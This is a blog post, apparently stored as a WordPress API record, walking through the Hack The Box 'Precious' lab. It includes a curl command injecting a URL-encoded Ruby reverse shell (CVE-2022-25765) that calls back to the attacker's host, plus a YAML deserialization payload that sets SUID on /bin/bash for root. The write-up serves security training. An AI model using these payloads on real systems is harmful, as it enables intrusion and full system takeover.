{"id":348,"date":"2023-05-07T13:38:06","date_gmt":"2023-05-07T18:38:06","guid":{"rendered":"https:\/\/binaryblisters.com\/?p=348"},"modified":"2023-05-07T13:38:06","modified_gmt":"2023-05-07T18:38:06","slug":"htb-precious-walkthrough","status":"publish","type":"post","link":"https:\/\/binaryblisters.com\/?p=348","title":{"rendered":"HTB &#8211; Precious Walkthrough"},"content":{"rendered":"<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"457\" height=\"171\" src=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image.png\" alt=\"\" class=\"wp-image-349\" srcset=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image.png 457w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-300x112.png 300w\" sizes=\"auto, (max-width: 457px) 100vw, 457px\" \/><\/figure><\/div>\n\n\n<p>I was hesitant at first to do a write-up on this lab as it kicked my butt. It was a good lab and I enjoyed it but as usual, I overlooked some crucial information that could&#8217;ve cut down the time spent on it by a significant amount. <\/p>\n\n\n\n<p>This lab will cover some interesting topics including Command Injection (which I&#8217;m still terrible at) and privilege escalation (which I&#8217;m also terrible at). <\/p>\n\n\n\n<p>As usual, you can read my original notes <a href=\"https:\/\/sgtdiddlywink.gitbook.io\/htb\/\">here<\/a>. They&#8217;re a mess but I&#8217;d prefer to keep this write-up short to how to complete it instead of how <em>I<\/em> completed it.<\/p>\n\n\n\n<p>So let&#8217;s get started.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Recon<\/h2>\n\n\n\n<p>As always, it is good to get a sense of the land and as always, I&#8217;ll rely heavily on NMAP to walk me through it.<\/p>\n\n\n\n<p>I started with a basic NMAP scan to see which ports were open.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nmap &#91;TARGET IP]<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"926\" height=\"358\" src=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-1.png\" alt=\"\" class=\"wp-image-350\" srcset=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-1.png 926w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-1-300x116.png 300w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-1-768x297.png 768w\" sizes=\"auto, (max-width: 926px) 100vw, 926px\" \/><\/figure>\n\n\n\n<p>With two ports open, let&#8217;s go ahead and run a more detailed NMAP scan to get a better sense of what we are dealing with.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nmap -A -p 22,80 &#91;TARGET IP]<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"451\" src=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-2-1024x451.png\" alt=\"\" class=\"wp-image-351\" srcset=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-2-1024x451.png 1024w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-2-300x132.png 300w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-2-768x338.png 768w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-2.png 1338w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Not a whole lot of relevant information here but it has told us the OS is Linux which can be useful information in any pentest.<\/p>\n\n\n\n<p>Port 22 is a typical service for SSH so I&#8217;ll ignore that for now. Generally, I&#8217;ve found that HTB machines don&#8217;t rely on breaking in through SSH as much and keep the port open for possible persistence if credentials are found.<\/p>\n\n\n\n<p>In that case, let&#8217;s go check out what&#8217;s on port 80 with our web browser.<\/p>\n\n\n\n<p>If you try visiting the IP address directly with <code>http:\/\/[TARGET IP]<\/code>, you&#8217;ll get redirected to a URL specified  <code>precious.htb<\/code> and get an error page.<\/p>\n\n\n\n<p>It&#8217;s important to remember to add the IP and redirected URL address to your system&#8217;s <code>\/etc\/hosts<\/code> file. You can use the following to do this easily.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>echo \"&#91;TARGET IP] precious.htb\" | sudo tee -a \/etc\/hosts<\/code><\/pre>\n\n\n\n<p>After doing this, you should now be able to view the webpage from the TARGET IP address.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"358\" src=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-3-1024x358.png\" alt=\"\" class=\"wp-image-352\" srcset=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-3-1024x358.png 1024w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-3-300x105.png 300w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-3-768x269.png 768w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-3.png 1229w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>It appears to be a simple website that does some backend workings to convert a webpage into a PDF file. With that, let&#8217;s go ahead and jump over to the next stage of operations.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Enumeration<\/h2>\n\n\n\n<p>So what can we do with all of this information?<\/p>\n\n\n\n<p>Well, if you&#8217;re me, you spent way too much time looking over the source page, checking for other directories with GOBUSTER, and attempting to upload different files to the webpage to see what gets sent back. I spent a lot of time on that last part.<\/p>\n\n\n\n<p>None of this unfortunately got me anywhere so I had to jump over to the forums to see if I could get a hint. I hate getting hints but after a couple of hours, I don&#8217;t mind admitting defeat and taking a clue. <\/p>\n\n\n\n<p>I really kicked myself this time though as the hint should have been obvious. <\/p>\n\n\n\n<p><em>&#8220;Look harder at the PDF files&#8221;<\/em>.<\/p>\n\n\n\n<p>We&#8217;re probably back in the Recon Stage at this point but I&#8217;ll try to keep this somewhat organized. After playing around with the webpage for a while, I had a PDF file on hand that it created. I decided to run it through <a href=\"https:\/\/exiftool.org\/\">EXIFTOOL<\/a>.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>exiftool &#91;PATH TO PDF FILE]<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"530\" src=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-4-1024x530.png\" alt=\"\" class=\"wp-image-353\" srcset=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-4-1024x530.png 1024w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-4-300x155.png 300w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-4-768x398.png 768w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-4.png 1031w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>The key information in all of this is &#8220;<code>Generated by pdfkit v0.8.6<\/code>&#8220;.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Exploitation<\/h2>\n\n\n\n<p>I now had a piece of information I could run with. I knew the backend web server was running a tool that turned HTML web pages into PDF files. I went to go look and see if there was a possible exploit to this tool and came across a known exploit <a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2022-25765\">CVE-2022-25765<\/a>.<\/p>\n\n\n\n<p>This exploit allows for Command Injection in the URL. This means that it is possible to exploit commands on the server side through the URL itself if they are not being sanitized.<\/p>\n\n\n\n<p>Based on some experimentation of uploading different file types to the website, I found that it would turn almost anything into a PDF except for PHP and Ruby file extensions. This was a pretty good indication of what language the backend server was running.<\/p>\n\n\n\n<p>After some more googling, I found a <a href=\"https:\/\/github.com\/shamo0\/PDFkit-CMD-Injection\">GitHub<\/a> page with a PoC to exploit this vulnerability and gain a reverse shell with a Ruby payload.<\/p>\n\n\n\n<p>Let&#8217;s first start up a NETCAT listener on our host machine.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nc -lvnp 4444<\/code><\/pre>\n\n\n\n<p>Next, I grabbed that code snippet from the GitHub link above and modified it to meet my needs.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl '&#91;TARGET URL]' -X POST -H 'User-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:102.0) Gecko\/20100101 Firefox\/102.0' -H 'Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,\/;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application\/x-www-form-urlencoded' -H 'Origin: &#91;TARGET URL]' -H 'Connection: keep-alive' -H 'Referer: &#91;TARGET URL]' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'url=http%3A%2F%2F&#91;HOST IP]%3A&#91;HOST PORT]%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%22&#91;HOST IP]%22%2C&#91;HOST PORT]%29%29%27%60'<\/code><\/pre>\n\n\n\n<p>Keep in mind that  <code>TARGET URL<\/code> in this instance should be <code>precious.htb<\/code>.<\/p>\n\n\n\n<p>This is just a simple curl command to the TARGET URL specifying the command injection. This command injection is a data packet with a URL-encoded reverse shell written in Ruby. Once we have plugged that in, we can check back with the NETCAT listener we set up and should now have a reverse connection established with the TARGET MACHINE.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"914\" height=\"235\" src=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-5.png\" alt=\"\" class=\"wp-image-354\" srcset=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-5.png 914w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-5-300x77.png 300w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-5-768x197.png 768w\" sizes=\"auto, (max-width: 914px) 100vw, 914px\" \/><\/figure>\n\n\n\n<p>I next started up a more interactive shell with the machine using Python.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>python3 -c 'import pty;pty.spawn(\"\/bin\/bash\")'\r\nexport TERM=xterm\r\n^Z<\/code><\/pre>\n\n\n\n<p>The <code>^Z<\/code> will background the process. We will then reopen a shell that blocks out the <code>echo<\/code> and pulls the process back to the foreground.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>stty raw -echo; fg<\/code><\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"548\" height=\"232\" src=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-6.png\" alt=\"\" class=\"wp-image-355\" srcset=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-6.png 548w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-6-300x127.png 300w\" sizes=\"auto, (max-width: 548px) 100vw, 548px\" \/><\/figure><\/div>\n\n\n<p>We now have a fully interactive shell with the user <code>ruby<\/code>. Let&#8217;s go find the user flag. I always like spending some time exploring the target machine and don&#8217;t mind digging around for the flag the hard way but if you want to save some time, you can run the following to locate the file easily. <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>find \/ -name user.txt 2>\/dev\/null<\/code><\/pre>\n\n\n\n<p>Once you find the file, you&#8217;ll also find that <code>ruby<\/code> does not have permission to read the file. Therefore, we need to spend some time exploring the system for means to escalate our privileges.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Privilege Escalation<\/h2>\n\n\n\n<p>If you spend some time browsing through the accessible files, you&#8217;ll come across a file located in the <code>\/home\/ruby\/.bundle\/config<\/code>. I&#8217;ll leave it there but you should be able to locate the login credentials for <code>henry<\/code> in there.<\/p>\n\n\n\n<p>Now that we have another set of credentials, let&#8217;s drop this interactive shell and jump over to the SSH service, and log in there.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ssh henry@&#91;TARGET IP]<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"435\" src=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-7-1024x435.png\" alt=\"\" class=\"wp-image-356\" srcset=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-7-1024x435.png 1024w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-7-300x127.png 300w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-7-768x326.png 768w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-7.png 1111w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Now that we have access to <code>henry<\/code>, we can go and grab the user.txt flag we previously found.<\/p>\n\n\n\n<p>The user <code>henry<\/code> can do a lot but unfortunately, they cannot access the <code>root<\/code> directory which is most likely the location of the root flag.<\/p>\n\n\n\n<p>So let&#8217;s see what we can do. I&#8217;ll start with some basic checklist items to see what privileges I do have.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo -l<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"118\" src=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-8-1024x118.png\" alt=\"\" class=\"wp-image-357\" srcset=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-8-1024x118.png 1024w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-8-300x35.png 300w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-8-768x89.png 768w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-8-1536x178.png 1536w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-8.png 1609w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>It looks like we can run the <code>\/opt\/update_dependencies.rb<\/code> file as sudo. Checking that file out shows that it calls back to a <code>dependencies.yml<\/code> file. If you try running the file as sudo, it will actually error out as it will look in the current directory you are in for the <code>dependencies.yml<\/code> file.<\/p>\n\n\n\n<p>This will be our way in. We can craft a new <code>dependencies.yml<\/code> file and the <code>\/opt\/update_dependencies.rb<\/code> file will call back to it and execute it as sudo.<\/p>\n\n\n\n<p>Ruby is not a language I am very familiar with unfortunately and I&#8217;m by no means an expert with YAML files either so I had to go out and Google for some help. I found a great <a href=\"https:\/\/blog.stratumsecurity.com\/2021\/06\/09\/blind-remote-code-execution-through-yaml-deserialization\/\">article<\/a> that went over this type of vulnerability which is referred to as YAML Deserialization.<\/p>\n\n\n\n<p>That article gives us a great code snippet that we can plug into our newly created <code>dependencies.yml<\/code> file. <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code> ---\r\n - !ruby\/object:Gem::Installer\r\n     i: x\r\n - !ruby\/object:Gem::SpecFetcher\r\n     i: y\r\n - !ruby\/object:Gem::Requirement\r\n   requirements:\r\n     !ruby\/object:Gem::Package::TarReader\r\n     io: &amp;1 !ruby\/object:Net::BufferedIO\r\n       io: &amp;1 !ruby\/object:Gem::Package::TarReader::Entry\r\n          read: 0\r\n          header: \"abc\"\r\n       debug_output: &amp;1 !ruby\/object:Net::WriteAdapter\r\n          socket: &amp;1 !ruby\/object:Gem::RequestSet\r\n              sets: !ruby\/object:Net::WriteAdapter\r\n                  socket: !ruby\/module 'Kernel'\r\n                  method_id: :system\r\n              <mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-amber-color\">git_set: sleep 600<\/mark>\r\n          method_id: :resolve <\/code><\/pre>\n\n\n\n<p>Unfortunately, this alone will not allow us access to the system. If you notice, the <code>git_set<\/code> line of the code is set to put the system to sleep for 600 seconds. <\/p>\n\n\n\n<p>We will instead modify this command to change file permissions to the <code>\/bin\/bash<\/code> file and allow for SUID privileges. <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>---\r\n- !ruby\/object:Gem::Installer\r\n    i: x\r\n- !ruby\/object:Gem::SpecFetcher\r\n    i: y\r\n- !ruby\/object:Gem::Requirement\r\n  requirements:\r\n    !ruby\/object:Gem::Package::TarReader\r\n    io: &amp;1 !ruby\/object:Net::BufferedIO\r\n      io: &amp;1 !ruby\/object:Gem::Package::TarReader::Entry\r\n         read: 0\r\n         header: \"abc\"\r\n      debug_output: &amp;1 !ruby\/object:Net::WriteAdapter\r\n         socket: &amp;1 !ruby\/object:Gem::RequestSet\r\n             sets: !ruby\/object:Net::WriteAdapter\r\n                 socket: !ruby\/module 'Kernel'\r\n                 method_id: :system\r\n             <mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-amber-color\">git_set: \"chmod +s \/bin\/bash\"<\/mark>\r\n         method_id: :resolve<\/code><\/pre>\n\n\n\n<p>With the modified file, we will be able to create a new file called <code>dependencies.yml<\/code> with nano. I would recommend creating this file in the <code>henry<\/code> directory that we have permissions to modify. Now execute the <code>update_dependencies.rb<\/code> file.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo \/usr\/bin\/ruby \/opt\/update_dependencies.rb<\/code><\/pre>\n\n\n\n<p>Remember to run this command in the directory that you have created the <code>dependencies.yml<\/code> file in or it will not work.<\/p>\n\n\n\n<p>If you run the <code>sudo -l<\/code> command again, the user <code>henry<\/code> should now have SUID privileges to the <code>\/bin\/bash<\/code> file.<\/p>\n\n\n\n<p>With this information let&#8217;s go check out <a href=\"https:\/\/gtfobins.github.io\/gtfobins\/bash\/#suid\">GTFOBins<\/a> to see if there are any means to privilege escalation.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/bin\/bash -p<\/code><\/pre>\n\n\n\n<p>Now run the <code>whoami<\/code> command and you should be <code>root<\/code>. With this in hand, you should be able to locate the root flag yourself.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"362\" height=\"95\" src=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-9.png\" alt=\"\" class=\"wp-image-358\" srcset=\"https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-9.png 362w, https:\/\/binaryblisters.com\/wp-content\/uploads\/2023\/05\/image-9-300x79.png 300w\" sizes=\"auto, (max-width: 362px) 100vw, 362px\" \/><\/figure><\/div>\n\n\n<h2 class=\"wp-block-heading\">Conclusion<\/h2>\n\n\n\n<p>I can tell I am getting better but more often than not, I get slapped down by some of these labs. This is lab #3 in a row that has done this to me. <\/p>\n\n\n\n<p>I try not to let it hit me too hard as I am learning more and more but it&#8217;s hard at times not to get discouraged. I&#8217;m taking a break today from labs to do some HTB Academy modules and write this up. I&#8217;ll hit the labs again next week and just keep tackling them one by one.<\/p>\n\n\n\n<p>I hope this write-up has helped you in some way if you are reading it. If you have any questions or concerns please feel free to let me know.<\/p>\n\n\n\n<p>As always, thanks for reading and catch you all later.<\/p>\n\n\n\n<p>-sgtdiddlywink<\/p>\n","protected":false},"excerpt":{"rendered":"<p>I was hesitant at first to do a write-up on this lab as it kicked my butt. It was a good lab and I enjoyed it but as usual, I overlooked some crucial information that could&#8217;ve cut down the time spent on it by a significant amount. This lab will cover some interesting topics including [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":359,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[79],"tags":[99,101,82,18,80,100,103,102,28],"class_list":["post-348","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-htb","tag-command-injection","tag-exiftool","tag-hack-the-box","tag-hacking","tag-htb","tag-netcat","tag-precious","tag-ruby","tag-studying"],"_links":{"self":[{"href":"https:\/\/binaryblisters.com\/index.php?rest_route=\/wp\/v2\/posts\/348","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/binaryblisters.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/binaryblisters.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/binaryblisters.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/binaryblisters.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=348"}],"version-history":[{"count":1,"href":"https:\/\/binaryblisters.com\/index.php?rest_route=\/wp\/v2\/posts\/348\/revisions"}],"predecessor-version":[{"id":360,"href":"https:\/\/binaryblisters.com\/index.php?rest_route=\/wp\/v2\/posts\/348\/revisions\/360"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/binaryblisters.com\/index.php?rest_route=\/wp\/v2\/media\/359"}],"wp:attachment":[{"href":"https:\/\/binaryblisters.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=348"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/binaryblisters.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=348"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/binaryblisters.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=348"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}